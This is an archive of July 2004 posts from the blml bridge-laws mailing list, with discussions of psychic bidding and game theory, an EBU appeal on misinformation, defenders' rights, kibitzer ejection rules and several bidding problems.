20 Jul 2004 21:01:03 +0100 Subject: [blml] Psychic Bidding Guidelines References: Message-ID: <000801c46e9d$a567ca60$0edd403e@multivisionoem> Grattan Endicott To: Sent: Tuesday, July 20, 2004 3:56 PM Subject: Re: [blml] Psychic Bidding Guidelines > > "Game Theory" didn't even exist as a formal > discipline when the expression "Psyche" was coined, > so its not too surprising that early regulations didn't > take this notion into account. With this said and done, > this model does describe observed behavior and offers > a superior basis for creating appropriate regulations. > +=+ The interesting argument needs an extra twist if it is to be applicable to bridge. The 50/50 factor is disturbed in bridge because a player has a partner and the longer they play together the more partner will read the behaviour of the player. And some partners are more 'intuitive' than others. Mind you, I did just meet a man who described himself as suffering sensory deprivation in consequence of having gone to live in Florida. ~ Grattan ~ +=+ From john@asimere.com Wed Jul 21 04:39:40 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 21 Jul 2004 04:39:40 +0100 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: References: Message-ID: <7j8$U7D8Ve$AFwGM@asimere.com> In article , richard.hills@immi.gov.au writes > > > > >John (MadDog) Probst: > >>I still find new sequences, even today. Try a 2164 >>5-count that you've opened 1H, partner responds >>2C. It's "obvious" to reverse into 2S isn't it? > >Richard Hills: > >Brilliant! Pard will often try fourth-suit-forcing >with 3D, you now pass, and all three opponents now >have to guess what to do at the three-level. > >For the first time in many years, a new book has >been published which deals exclusively with the art >of psychic bidding. > >David Bird reviewed the book at URL: > >http://www.bridge-plus.co.uk/reviews/review104.htm Yep, my copy says "To John, thanks for the idea. Peter" Peter was Captain of my serious team in the 90's, when I was playing with Proddy. My wife and I were spending a weekend with him and his wife, playing 20 pence (1/4 c game) Chicago - we all four of us psyche steadily in this game, and I suggested he should write a book since nothing had been done on the subject for years. "I just might" he said. > >>>The Art of Psychic Bidding (and its Pitfalls) >>>by Julian Pottage and Peter Burrows -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From HarrisR@missouri.edu Wed Jul 21 04:45:12 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Tue, 20 Jul 2004 22:45:12 -0500 Subject: [blml] Baby face In-Reply-To: References: Message-ID: Richard Hills writes: >Matchpoint pairs >Dlr: West >Vul: North-South > >The bidding has gone: > >WEST NORTH EAST SOUTH >1H Double 1S Pass >2D Pass 2H ? > >You, South, hold: > >J9743 >K96 >9 >T942 > >What call do you make? >What other calls do you consider making? Depends on who my partner is. My most reliable partner has 4 spade cards, so 2S. With two others, pass. REH >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From gesta@tiscali.co.uk Wed Jul 21 07:39:52 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 21 Jul 2004 07:39:52 +0100 Subject: [blml] Baby face References: Message-ID: <001701c46eee$a2208ad0$5302e150@multivisionoem> Grattan Endicott Richard Hills writes: > > >Matchpoint pairs > >Dlr: West > >Vul: North-South > > > >The bidding has gone: > > > >WEST NORTH EAST SOUTH > >1H Double 1S Pass > >2D Pass 2H ? > > > >You, South, hold: > > > >J9743 > >K96 > >9 > >T942 > > > >What call do you make? > >What other calls do you consider making? > +=+ (a) 2S (b) double one round earlier. ~ G ~ +=+ From nsousa@fc.up.pt Wed Jul 21 08:50:48 2004 From: nsousa@fc.up.pt (nsousa@fc.up.pt) Date: Wed, 21 Jul 2004 08:50:48 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <20040721022201.29072.30738.Mailman@toybox.amsterdamned.org> References: <20040721022201.29072.30738.Mailman@toybox.amsterdamned.org> Message-ID: <20040721085048.8jog8s8ooko0cksk@webmail2.fc.up.pt> Re: [blml] 2003 EBU casebook, appeal 4 > Swiss Pairs --- > Dealer North KQ2 > EW vulnerable AKJT853 > JT7 > QT632 AJ875 > 74 T65 > 7 962 > AKQ64 85 > K94 > AJ983 > Q4 > 932 > > WEST NORTH EAST SOUTH > --- 1D Pass 1H > 1NT 3D Pass 3NT > Pass Pass Pass > > > Result at table: > 3NT -2 by South, NS -100 > > Director first called: > At end of hand by South > > Director's statement of facts: > South claimed damage because of failure to alert 1NT bid > by West, which showed spades and clubs. > > North stated that had she known that West was showing 5/5 > in spades and clubs she would not have passed 3NT. [Nuno Sousa] Let's suppose there was misinformation after all. Did it cause damage? In the way NS argumented, it didn't. North bid his hand fully with his 3D jump, so he has no reason to overrule pard's 3NT. South COULD have argued he would have bid 3S over 3D (showing spade stopper, asking for club stopper) with the correct information, but he didn't. I don't think Director is supposed to be an advocate for the NOS, so isn't this a case for letting table result stand? ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From Frances.Hinden@Shell.com Wed Jul 21 11:19:37 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 21 Jul 2004 11:19:37 +0100 Subject: [blml] Psychic Bidding Guidelines Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C9B@lonsc-s-031.europe.shell.com> Richard Hills wrote: > For the first time in many years, a new book has > been published which deals exclusively with the art > of psychic bidding. If you and your partner both, independently, choose to read = this book, does that create any implicit agreements about psyching? If you and your partner both, by agreement, choose to read = this book, does **that** create any implicit agreements about psyching? Chris ----------------------------------------------------------------------- No. Just because you have both read a book doesn't mean you agree with = its content or agree to play according to its recommendations. The fact that both my partner and I have read EHAA doesn't mean we play = it. From emu@atrax.net.au Wed Jul 21 11:48:44 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 21 Jul 2004 20:48:44 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <000801c46f10$531261d0$7a6fddcb@noeltsui0kso1i> Don't E/W have a perfectly good save in 4S over 4H? Do AC's need to = take that into account? Anyway, East has a 5 count. If his partner has 16, they aren't likely = to be making 3NT. I suspect he knew something about 1NT and eschewed the 4S = save because of the vulnerability.=20 regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Jaap van der Neut Sent: Monday, July 19, 2004 7:42 PM To: blml; richard.hills@immi.gov.au Subject: Re: [blml] 2003 EBU casebook, appeal 4 Dear all, South actually has a difficult bid after 3D. Suppose he would have known that 1NT =3D blacks 'gambling' 3NT remains a clear possibility. In the = end 3NT by South might easily be the only winning game (give north some = small spades and a club stop). I agree with Gordon that players but the very weak are supposed to = protect themselves. South can be expected to ask about 1NT since it is typically = a call for wich there is hardly a default meaning. So it might be a tad = too easy for South to gamble 3NT and then to call the TD if he was wrong. On = the other hand asking East would have gone nowhere (since East didn't bid = 3S). So in the end I agree with Maddog. You have to protect opps against this kind of 'convention disruption'. In Holland we often give +3/-3 for this type of cases. For all kind of reasons you don't want to give the best possible result to NS (too extreme). One reason being that under current rules it is defendable that given no agreement there was no infraction = in the first place (I don't support that view, also too extreme). But this = is maybe another discussion. Jaap ----- Original Message -----=20 From: To: Sent: Monday, July 19, 2004 12:29 AM Subject: [blml] 2003 EBU casebook, appeal 4 > > > > > Appeal No 4: Is it unusually unusual? > > > Tournament Director: > Roland Bolton > > Appeals Committee: > Jeremy Dhondy (Chairman) Steve Capal David Jones > > Swiss Pairs --- > Dealer North KQ2 > EW vulnerable AKJT853 > JT7 > QT632 AJ875 > 74 T65 > 7 962 > AKQ64 85 > K94 > AJ983 > Q4 > 932 > > WEST NORTH EAST SOUTH > --- 1D Pass 1H > 1NT 3D Pass 3NT > Pass Pass Pass > > > Result at table: > 3NT -2 by South, NS -100 > > Director first called: > At end of hand by South > > Director's statement of facts: > South claimed damage because of failure to alert 1NT bid > by West, which showed spades and clubs. > > North stated that had she known that West was showing 5/5 > in spades and clubs she would not have passed 3NT. > > Director's ruling: > Score assigned for both sides: > 4H making by South, NS +420 > > Details of ruling: > Misinformation. Laws 21B3 and 12C2. > > Appeal lodged by: > East-West > > Basis of appeal: > East does not play 1NT as showing a 5/5 hand. > > Appeals Committee decision: > > [deliberately snipped] > > Appeals Committee's comments: > We accepted that E/W had different ideas of what 1NT was > > [remainder of Appeals Committee's comments deliberately snipped] > > As an English Appeals Committee, how should you rule? > > Best wishes > > Richard Hills > > > _______________________________________________ > blml mailing list > blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Wed Jul 21 11:48:44 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 21 Jul 2004 20:48:44 +1000 Subject: [blml] Defenders' rights In-Reply-To: <005901c46da7$a65ee760$8080b6d4@LNV> Message-ID: <000a01c46f10$57a97620$7a6fddcb@noeltsui0kso1i> I think it is a great idea. This is supposed to be a friendly game - UI = has to be covered of course. My support has nothing to do with the fact that I have a particularly = error prone partner of course! regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Ton Kooijman Sent: Tuesday, July 20, 2004 1:47 AM To: Hinden, Frances SI-PXS; blml Subject: Re: [blml] Defenders' rights Good questions Francis, diid you talk to Patrick Jourdain lately? I did in Malm=F6 and we discussed the idea to make it explicitly legal = to allow a defender to prevent his partner from making an infraction. He sugested to extend this right for a player to any other player at the = table. We might need to cover the possibility of UI arising, but I am starting = to like this idea. Any objections? ton Which, if any, of the following are legal (although possibly giving UI)? 1. Defender A makes an opening lead face down. Defender B points out correctly it's out of turn. Defender A retracts the opening lead and B leads instead (41A & 47E2 seem to say explicitly that an opening LOOT = -even if face down - cannot be retracted unless there was a mistaken = explanation). 2. Defender A points out to defender B that he has a trick pointing the wrong way. 3. Defender A points out that defender B has just played a card to the current trick that he had already played to a previous trick. 4. Defender A starts to pull a card out of his hand during the play. Defender B sharply points out it's not his lead. 5. Defender B points out to defender B that he has dropped a card on the floor (which landed face down). Laws 9 & 73A are relevant. To my mind, the wording of 9 implies that it = is over-rideen by 73A making all of these actions illegal. But then why = bother with 61B? _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Wed Jul 21 11:48:44 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 21 Jul 2004 20:48:44 +1000 Subject: [blml] A player's view In-Reply-To: <000b01c46d5f$efaf99c0$6401a8c0@san.rr.com> Message-ID: <000901c46f10$55cfad10$7a6fddcb@noeltsui0kso1i> Yes but.... In an otherwise uneventful 4S contract (bid and made exactly at every = other table) your opponent revokes giving you a 2 trick penalty OR plays twice = to the same trick therefore creating a penalty card situation so that you = can now take 11 tricks - therefore achieving a complete top. Is there not = an unfair advantage to you in that your opponents were incompetent or made = an unlucky mistake. By your logic, should we take that off you too? regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Marvin French Sent: Monday, July 19, 2004 5:14 PM To: blml@rtflb.org Subject: Re: [blml] A player's view From: "Konrad Ciborowski" From: "Marvin French" > >> > Richard Hills: > > > > The 1987 version of Law 74C5 reads, in part, > > "...(but it is appropriate to act on information > > acquired by inadvertently seeing an opponent's > > card)." > >> Appropriate in rubber bridge, and perhaps knockout team play, but not > in other forms of the game. >Why not? It provides an unfair advantage over others in the field, who have not = seen the card(s) you have seen. L16B says that sight of an opponent's card(s) before the auction begins = is UI and the TD should be called. I do not see why that should not hold = true for the entire deal. That's the way it was before 1987, and it should = not have been changed. Of course many TDs would oppose such a revision to L16B because it would make more work for them. Marv Marvin L. French San Diego, California _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Wed Jul 21 11:48:44 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 21 Jul 2004 20:48:44 +1000 Subject: [blml] Kibitzercide In-Reply-To: Message-ID: <000d01c46f10$5a9ac9b0$7a6fddcb@noeltsui0kso1i> Sums up pretty well what's wrong with Bridge! If they sold the seats, = would the players be able to eject them then? I can imagine the reception a = major league baseball pitcher would get from the authorities if he objected to = a particular person watching in the crowd! As an average life master, I might get a bit nervous if RJH wanted to = kibitz me, but I'd be flattered, and expect to learn lots later - the price of = him being able to watch my stuff-ups first hand! I think it's a stupid rule! Allowing kibitzers should be a condition of entry. [If they misbehave, then out they go of course.] regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of richard.hills@immi.gov.au Sent: Tuesday, July 20, 2004 3:42 PM To: blml@rtflb.org Subject: [blml] Kibitzercide In the thread "How played is.....", Nigel Guthrie asked: >Is the decision about the law recorded >anywhere to avoid all this palaver >again? at least for this particular >competition and locality? Richard Hills replies: Yes. For example, let us examine Law 76A4, "A spectator must not in any way disturb a player." The ACBL had (and may still have) a regulation which permits a player to request the TD to eject one, but only one, kibitzer without giving any reason. However, when Law 76A4 was considered by the Australian National Authority, it ruled that a kibitzer's mere presence may disturb a player. Therefore, in Australia, a player may request the TD to eject each and every kibitzer without giving any reason. The minutes of the Australian National Authority are freely available on the ABF website, and are also available in the blml archive. The different approaches of the ACBL and Australia to kibitzercide may be partly due to cultural norms. In the ACBL, it is quite likely that there will be people who want to kibitz World Champs. But in Australia, there are no World Champs available for decent kibitzing. Best wishes RJH _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From wayne.burrows@xtra.co.nz Wed Jul 21 12:12:47 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Wed, 21 Jul 2004 23:12:47 +1200 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: <022401c46e66$3c916e60$1401a8c0@COMPUTER> Message-ID: <003501c46f13$a76a2670$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Chris Pisarra > Sent: Wednesday, 21 July 2004 2:31 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Psychic Bidding Guidelines > > > > Richard Hills wrote: > > > For the first time in many years, a new book has > > been published which deals exclusively with the art > > of psychic bidding. > > If you and your partner both, independently, > choose to read this > book, does that create any implicit agreements about psyching? > > If you and your partner both, by agreement, > choose to read this > book, does **that** create any implicit agreements about psyching? > > If the ACBL could ban and burn this book, they > probably would. > Darn it. > > Chris If you and your partner both read the law book and discover that you have a right to psyche does that create an implicit agreement? Wayne > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ehaa@starpower.net Wed Jul 21 13:03:47 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 21 Jul 2004 08:03:47 -0400 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: <003501c46f13$a76a2670$0401010a@Desktop> References: <022401c46e66$3c916e60$1401a8c0@COMPUTER> <003501c46f13$a76a2670$0401010a@Desktop> Message-ID: <6.1.1.1.0.20040721080029.02f84eb0@pop.starpower.net> At 07:12 AM 7/21/04, Wayne wrote: >If you and your partner both read the law book and discover that you >have a right to psyche does that create an implicit agreement? By the letter of currently published ACBL policy, only if one of you mentions it to the other. Otherwise there's no implicit agreement until one of you actually psychs. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From emu@atrax.net.au Wed Jul 21 13:55:27 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 21 Jul 2004 22:55:27 +1000 Subject: [blml] Psychic Bidding Guidelines In-Reply-To: <003501c46f13$a76a2670$0401010a@Desktop> Message-ID: <000501c46f22$001b5920$382ec2cb@noeltsui0kso1i> If my partner and I both read this book and agree to play what it suggests, then I alert each and every Pass or Bid by him - and I explain when asked, eg. "1H? - That shows 10-14 points, 5+ Hearts; unless of course, he doesn't have that, then it's anybody's guess, including mine!". Have fun guys! ;-) regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Wayne Burrows Sent: Wednesday, July 21, 2004 9:13 PM To: 'Chris Pisarra'; blml@rtflb.org Subject: RE: [blml] Psychic Bidding Guidelines > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Chris Pisarra > Sent: Wednesday, 21 July 2004 2:31 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Psychic Bidding Guidelines > > > > Richard Hills wrote: > > > For the first time in many years, a new book has > > been published which deals exclusively with the art > > of psychic bidding. > > If you and your partner both, independently, > choose to read this > book, does that create any implicit agreements about psyching? > > If you and your partner both, by agreement, > choose to read this > book, does **that** create any implicit agreements about psyching? > > If the ACBL could ban and burn this book, they > probably would. > Darn it. > > Chris If you and your partner both read the law book and discover that you have a right to psyche does that create an implicit agreement? Wayne > > > _______________________________________________ > blml mailing list > blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From gesta@tiscali.co.uk Wed Jul 21 23:10:49 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 21 Jul 2004 23:10:49 +0100 Subject: [blml] A player's view References: <000901c46f10$55cfad10$7a6fddcb@noeltsui0kso1i> Message-ID: <001801c46f6f$b1407120$ab0ee150@multivisionoem> Grattan Endicott Tom Lehrer: [snip] >Be prepared! And be careful not to do >Your good deeds when there's no one watching you. >If you're looking for adventure of a new and different kind, >And you come across a Girl Scout who is similarly inclined, >Don't be nervous, don't be flustered, don't be scared. >Be prepared! Richard Hills: Imps Dlr: West Vul: Nil The bidding has gone: WEST NORTH EAST SOUTH 3D 3S 5D ? You, South, hold: KQ3 KJT8742 85 A What call do you prepare? What other calls do you consider preparing? Best wishes RJH From richard.hills@immi.gov.au Wed Jul 21 23:23:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 22 Jul 2004 08:23:38 +1000 Subject: [blml] Kibitzercide Message-ID: Noel Bugeia: >Sums up pretty well what's wrong with >Bridge! If they sold the seats, would >the players be able to eject them then? >I can imagine the reception a major >league baseball pitcher would get from >the authorities if he objected to a >particular person watching in the >crowd! Richard Hills: Bridge is the only sport where the players pay an entry fee, but the spectators get in free. Therefore, in my opinion, Noel's analogy with major league baseball is invalid. Noel Bugeia: >As an average life master, I might get >a bit nervous if RJH wanted to kibitz >me, but I'd be flattered, [snip] Richard Hills: You personally might be flattered. So, you personally would refuse to exercise your Aussie right to request that the TD eject me from my North-West position at the table. But in the stem case which resulted in the Aussie National Authority Law 76A4 interpretation, the apparent sole reason for kibitzing was to disturb a weak player by the kibitzer's mere presence. Therefore, I agree that the Aussie NA has chosen a suitable interpretation of Law 76A4 *for Aussie conditions*. Consequently, I agree with Kojak (and disagree with Nigel Guthrie) that it is often appropriate for interpretations of Law to vary to satisfy local norms. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 21 23:33:30 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 22 Jul 2004 08:33:30 +1000 Subject: [blml] Psychic Bidding Guidelines Message-ID: Noel Bugeia: >If my partner and I both read this book and >agree to play what it suggests, then I alert >each and every Pass or Bid by him - and I >explain when asked, eg. "1H? - That shows >10-14 points, 5+ Hearts; unless of course, he >doesn't have that, then it's anybody's guess, >including mine!". > >Have fun guys! ;-) Richard Hills: No, Noel, Christmas has not come early. Alerting will not save you. As soon as your partnership's psyches become frequent enough to become an alertable agreement, they metamorphose into pseudo-psyches. And as soon as your bidding system has a partnership agreement to use pseudo-psyches, then your bidding system metamorphoses into a Yellow (HUM) system, which is a prohibited system for most Aussie events. Nice try, but no banana. ;-) Best wishes RJH From wayne.burrows@xtra.co.nz Wed Jul 21 23:41:11 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 22 Jul 2004 10:41:11 +1200 Subject: [blml] Be prepared! In-Reply-To: Message-ID: <008b01c46f73$d262f7c0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Thursday, 22 July 2004 10:10 a.m. > To: blml@rtflb.org > Subject: [blml] Be prepared! > > > > > > > Tom Lehrer: > > [snip] > > >Be prepared! And be careful not to do > >Your good deeds when there's no one watching you. > >If you're looking for adventure of a new and different kind, > >And you come across a Girl Scout who is similarly inclined, > >Don't be nervous, don't be flustered, don't be scared. > >Be prepared! > > Richard Hills: > > Imps > Dlr: West > Vul: Nil > > The bidding has gone: > > WEST NORTH EAST SOUTH > 3D 3S 5D ? > > You, South, hold: > > KQ3 > KJT8742 > 85 > A > > What call do you prepare? 6S > What other calls do you consider preparing? I considered 5H, 5S, 5NT, 6H. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From john@asimere.com Thu Jul 22 00:42:22 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 22 Jul 2004 00:42:22 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <000801c46f10$531261d0$7a6fddcb@noeltsui0kso1i> References: <000801c46f10$531261d0$7a6fddcb@noeltsui0kso1i> Message-ID: <0zE8QlFe9v$AFwXS@asimere.com> In article <000801c46f10$531261d0$7a6fddcb@noeltsui0kso1i>, Noel and Pamela writes > >So in the end I agree with Maddog. ^ | This has happened about 3 times this week. Sheesh, I must be becoming establishment :( -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Thu Jul 22 00:46:05 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 22 Jul 2004 00:46:05 +0100 Subject: [blml] Defenders' rights In-Reply-To: <000a01c46f10$57a97620$7a6fddcb@noeltsui0kso1i> References: <005901c46da7$a65ee760$8080b6d4@LNV> <000a01c46f10$57a97620$7a6fddcb@noeltsui0kso1i> Message-ID: In article <000a01c46f10$57a97620$7a6fddcb@noeltsui0kso1i>, Noel and Pamela writes >I think it is a great idea. This is supposed to be a friendly game - UI= has >to be covered of course. > >My support has nothing to do with the fact that I have a particularly er= ror >prone partner of course! > >regards, >Noel=20 > >-----Original Message----- >From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of To= n >Kooijman >Sent: Tuesday, July 20, 2004 1:47 AM >To: Hinden, Frances SI-PXS; blml >Subject: Re: [blml] Defenders' rights > > > >Good questions Francis, diid you talk to Patrick Jourdain lately? > >I did in Malm=F6 and we discussed the idea to make it explicitly legal t= o >allow a defender to prevent his partner from making an infraction. which means he can correct MI. Please can we do this. I don't mind educating players into not using UI. I hate the problems caused when I have to sort out MI. I'm serious. We should do it. (A lot of good players at the YC amongst their own crowd just do it, and then they sort out the UI aspects at the end of the hand.). I just don't ever see it when they're doing it - do I? > He >sugested to extend this right for a player to any other player at the ta= ble. > >We might need to cover the possibility of UI arising, but I am starting = to >like this idea. > >Any objections? > >ton > > > >Which, if any, of the following are legal (although possibly giving UI)? > >1. Defender A makes an opening lead face down. Defender B points out >correctly it's out of turn. Defender A retracts the opening lead and B >leads instead (41A & 47E2 seem to say explicitly that an opening LOOT -= even >if face down - cannot be retracted unless there was a mistaken explanati= on). > >2. Defender A points out to defender B that he has a trick pointing the >wrong way. > >3. Defender A points out that defender B has just played a card to the >current trick that he had already played to a previous trick. > >4. Defender A starts to pull a card out of his hand during the play. >Defender B sharply points out it's not his lead. > >5. Defender B points out to defender B that he has dropped a card on the >floor (which landed face down). > >Laws 9 & 73A are relevant. To my mind, the wording of 9 implies that it= is >over-rideen by 73A making all of these actions illegal. But then why bo= ther >with 61B? > >_______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > > >_______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml --=20 John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Thu Jul 22 00:51:07 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 22 Jul 2004 00:51:07 +0100 Subject: [blml] Baby face In-Reply-To: References: Message-ID: <385MDKGrFw$AFwm+@asimere.com> In article , Robert E. Harris writes >Richard Hills writes: > >>Matchpoint pairs >>Dlr: West >>Vul: North-South >> >>The bidding has gone: >> >>WEST NORTH EAST SOUTH >>1H Double 1S Pass >>2D Pass 2H ? >> >>You, South, hold: >> >>J9743 >>K96 >>9 >>T942 >> >>What call do you make? >>What other calls do you consider making? > >Depends on who my partner is. My most reliable partner has 4 spade >cards, so 2S. With two others, pass. Hmm, tough. RHO is 4-1 in the majors and I've no idea which way round. Of course no English player would have to start from here, so I shall abstain. -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Thu Jul 22 02:50:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 22 Jul 2004 11:50:06 +1000 Subject: [blml] Psychic Bidding Guidelines Message-ID: Richard Willey: [big snip] >From my perspective, so-called "Psyches" are >actually examples in which players are >subconsciously adopting mixed strategies in their >bidding. I doubt that many of the players can >consciously articulate the principles involved >let alone precisely characterize the precise >percentages that they assign to different >branches in their bidding tree. > >"Game Theory" didn't even exist as a formal >discipline when the expression "Psyche" was >coined, so its not too surprising that early >regulations didn't take this notion into account. >With this said and done, this model does describe >observed behavior and offers a superior basis for >creating appropriate regulations. Richard Hills: Mixed strategies are classicly used by a single contestant against a single opponent, when the decision matrix lacks a unique saddlepoint. (If a unique saddlepoint exists, both the player and the opponent minimax gains and losses by choosing the unique saddlepoint strategy.) However, when it comes to selecting a call, a basic mixed strategy is not relevant to bridge's game theory, since the nature of bridge causes more complex strategies than the strategies of basic game theory. Except for declarer play, bridge strategy requires two independently operating partners to mutually *coordinate* their strategies for a common goal, when each partner operates with incomplete (and differing) information about the deal. Therefore, consistently accurate transmission of information from one partner to the other partner in the auction (and defence) is usually a better choice of global partnership strategy, than the alternative choice of a mixed strategy of randomising information to all three opponents. This is a prime reason why I use Symmetric Relay in the auction (and a prime reason why I use Journalist leads & signals in the defence). Best wishes RJH From richard.hills@immi.gov.au Thu Jul 22 04:49:21 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 22 Jul 2004 13:49:21 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Noel Bugeia asked: >Don't E/W have a perfectly good save >in 4S over 4H? Do AC's need to take >that into account? [snip] Richard Hills replies: No. Noel's suggestion is a classic example of the Kaplan fallacy. In a Bridge World editorial many years ago, Edgar Kaplan explained how TDs and ACs should resolve cases which had a mixture of MI and/or UI and/or a player forgetting the partnership system. Edgar Kaplan argued that the opponents of the disrupters should be presumed to be reading a computer printout of the disrupters' system, but that the disrupters were *not* entitled to read the computer printout. Edgar noted that it was a fallacy to argue that Lawful rectification of MI for the non-offending side necessarily resulted in Lawful cessation of amnesia for the offending player. Therefore, the OS cheap save in 4S over the NOS hypothetical 4H is *irrelevant* to the AC decision. Best wishes RJH From jimfox00@cox.net Tue Jul 20 04:11:29 2004 From: jimfox00@cox.net (jimfox00@cox.net) Date: Mon, 19 Jul 2004 23:11:29 -0400 Subject: FW: [blml] Moderator Approval Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C46DE5.B95E4D40 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit -----Original Message----- From: jimfox00@cox.net [mailto:jimfox00@cox.net] Sent: Monday, July 19, 2004 8:22 PM To: 'Wayne Burrows' Subject: RE: [blml] Moderator Approval What process? What problem? Mmbridge -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Wayne Burrows Sent: Saturday, July 17, 2004 9:16 PM To: blml@rtflb.org Subject: [blml] Moderator Approval Do all messages go through this process? If not are there tips to avoid this problem? TIA Wayne ------=_NextPart_000_000C_01C46DE5.B95E4D40 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Message
 
-----Original Message-----
From: jimfox00@cox.net=20 [mailto:jimfox00@cox.net]
Sent: Monday, July 19, 2004 8:22=20 PM
To: 'Wayne Burrows'
Subject: RE: [blml] Moderator = Approval

What=20 process? What problem?
 
Mmbridge
 
-----Original Message-----
From: blml-admin@rtflb.org = [mailto:blml-admin@rtflb.org] On Behalf Of Wayne = Burrows
Sent:=20 Saturday, July 17, 2004 9:16 PM
To: = blml@rtflb.org
Subject:=20 [blml] Moderator Approval

Do all=20 messages go through this process?
 
If not are=20 there tips to avoid this problem?
 
TIA
 
Wayne
